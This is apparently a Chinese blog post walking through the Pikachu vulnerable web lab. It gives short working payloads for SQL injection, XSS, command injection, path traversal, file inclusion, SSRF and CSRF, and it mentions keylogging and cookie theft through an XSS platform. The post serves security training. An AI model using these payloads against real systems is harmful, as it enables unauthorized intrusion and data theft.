pikachu通关记录!简洁版!

pikachu通关记录!简洁版!

写的越简单,出错越多,进步越大。好吧,也是因为懒。

基于表单的暴力破解:

burp直接刚,不多说。

绕过验证码(on server):

1.改返回包失效2.空验证码失效3.万能验证码失效
	这里的验证码在repeter里面重复发包是一直有效的,所以也可以爆破。

绕过验证码(on client):

既然是在客户端,我先看了一下验证码会不会显示在源代码里,假如会就用python写脚本或者burp,but没有。
	然后尝试把验证码那段源代码删除,抓包发现没有验证码字段,爆破,= =成功= =

token防爆破:

这一关发现直接爆破会显示正确的和错误的长度一样。找token规律也找不出来。
但是查看返回的response包,会发现里面返回了下一次使用的token值,那么就可以用burp的鱼叉模式进行攻击。
1.把密码和token选择为参数,选择鱼叉模式
2.在potion->grep-extract->打勾然后add->选中返回的token值->ok
3.参数1用runtime吧,参数二用recursive grep,记得把最近一次返回的token值填在payload下面(first value)
4.开始爆破->注意这时候就不能用多线程了,要把线程调成1

反射型XSS(get):

闭合后直接注入:

反射型XSS(post):

登录后直接抓包注入,和上面一样。

存储型XSS:

为了好玩,试了一下xss平台的键盘记录,感觉还是挺不错的。像上面那样闭合插入就行。

DOM型XSS:

#' onmouseover=alert(1)>

DOM型XSS-X:

1' onmouseover=alert '(主要看js代码)

XSS之盲打:

直接插入xss平台生成的payload。这种只有在后台会显示,那我们该怎么办呢?我们插入获取cookie的之类的就能判断了,弹窗之类的我们平常肯定发现不了。

XSS之过滤:


XSS之htmlspecialchars:

1' onmouseover='alert(1)'

XSS之href输出:

href里面可以直接弹窗或者填xss平台的。不用闭合。
	javascript:alert(1)

XSS之js输出:

直接看js代码。后面确实有alert,但是被注释了,所以我们不用看逻辑,直接在参数赋值那里注入。
	1';alert(1);'

有一说一,xss-labs难多了.

CSRF(GET):

抓包之后发现,修改信息的时候是GET传参的,这个时候就很简单了。把修改信息的url发给处在登录状态的被攻击者,她的信息就被改了。payload自己写。

CSRF(POST):

只要写一个h5就可以了,也不用写php。就是把修改信息的那部分h5代码copy在自己的站点,然后填上默认值然后写js自动提交,把你的网页发给被攻击者就ok。

CSRF(Token):

这一关有token,但是程序员错误的在用户点击修改资料跳转到表单后,把token返回在了源代码里面,因为牵扯到跨域的问题,所以这个代码只能在自己的本地实现一下。也可以xss+csrf。

数字型注入(POST):

抓包,repeter,数字型

字符型注入(GET):

单引号闭合,字符型

搜索型注入:

%' 闭合,实例:?name=l%%27%20union%20select%201,2,3--+

XX型注入:说实话看到这个名字懵逼了一下= =

很明显的报错信息,闭合就好了。?name=lili') union select 1,2--+

insert注入:

注册的时候抓包,随便在一个参数里面注入就行:789' and extractvalue(1,concat(0x7e,(database()))) and '1'='1

update注入:

这里发现自己注册的账号登不上去 == 用lili的,然后改信息,抓包后随便在一个参数上报错注入,和上边一样。

delete注入:

看到留言板就想XSS,but失败了- -好奇怪。    可以看到源代码里,删除的href是一个带id=的url,看到这样的url肯定要注入了啊。
	抓包,repeter,注入:id=-59+and+extractvalue(1,concat(0x7e,(database())))+and+1=1

header注入:
在post包里:

UA注入:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0' and extractvalue(1,concat(0x7e,(database()))) and '1'='1    记得每次只要跟随302跳转一次就好了,然后看界面。
Accpet注入:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' and extractvalue(1,concat(0x7e,(database()))) and '1'='1   这里直接看,不要跟随302跳转
其他的位置都不太行,看着是记录了ip的,但是我用xff和client-ip进行注入都不行。常见的cookie注入也不行,因为PHPSESSID是特殊加密的。
然后接下来会有一个附带了cookie信息的GET请求界面。在这个里面会有特殊的cookie:ant[uname]和ant[pw]。
	uname没加密,pw应该是md5加密。这两个地方都可以报错注入。

盲注(base on boolian):

很容易判断出来是单引号闭合:?name=lili' and length(database())=7--+

盲注(base on time):

?name=kobe' and if((length(database())>1),sleep(2),1)--+ 

宽字节注入:

提示是宽字节注入那么就好办多了。这里是post的数据,要抓包。
	name=lili%df' union select 1,database()--+

RCE:

这里运行eval和shell_exec会出错,要在php.in里面,把disable_functions:后面的shell_exec、exec、eval去掉就好了。

ping:
		这里因为权限的问题,不能执行net user,只能   127.0.0.1 | ipconfig  了 而且这里有大小限制,只能输出那么多字符。关于|  ||   &   &&   这几个的区别自己研究。
eval:
		phpinfo();    这里要注意最后的分号不能掉。

文件包含(local):

这里要清楚一点,../了之后是当前脚本所在的这一层。
	然后我填入../../../../Windows/System32/drivers/etc/hosts

文件包含(remote):

这里也要改php.in的配置,把allow_url_include打开成On。

我就随便包含了一个网站的robots.txt

文件下载:

?filename=../down_nba.php

文件上传:

(客户端):禁用js,抓包改后缀.....
MIME:也上传png,然后抓包改包,有时候只需要改post数据里的mime,有时候包头的也要改。
getimagesize():上传图片马,然后本地文件包含

水平越权:

用lili登试试,看了下这里没办法越权登录。然后我们查看资料,抓包发现会get传参uname=lili,这时候改lili为lucy就可以查看lucy的信息了。

垂直越权:

这里先用admin账号登录上去看一下创建用户时的post包。
	然后把pikachu的普通get包转为post,然后改url为创建账户的php文件url,然后构造数据部分。在实际的测试中是比较难猜到数据部分内容和php文件的
	这里是通过普通用户创建了一个dawn账号。	

目录遍历:

dir_list.php?title=../../../readme.md

敏感信息泄露:

当前页面源代码里面,模拟了程序员粗心,在源代码里面写上了测试账号密码。

PHP反序列化:

O:1:"S":1:{s:4:"test";s:38:"";}

XXE:

 
	
	]> 
	&dawn;

URL重定向:

urlredirect.php?url=http://www.baidu.com

SSRF(curl):

把url请求的文件改成http://www.baidu.com,跟远程文件包含有点像了

SSRF(file_get_content):

和上边差不多,也可以文件包含用php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
	来读源码	

你可能感兴趣的:(杂项,安全,web)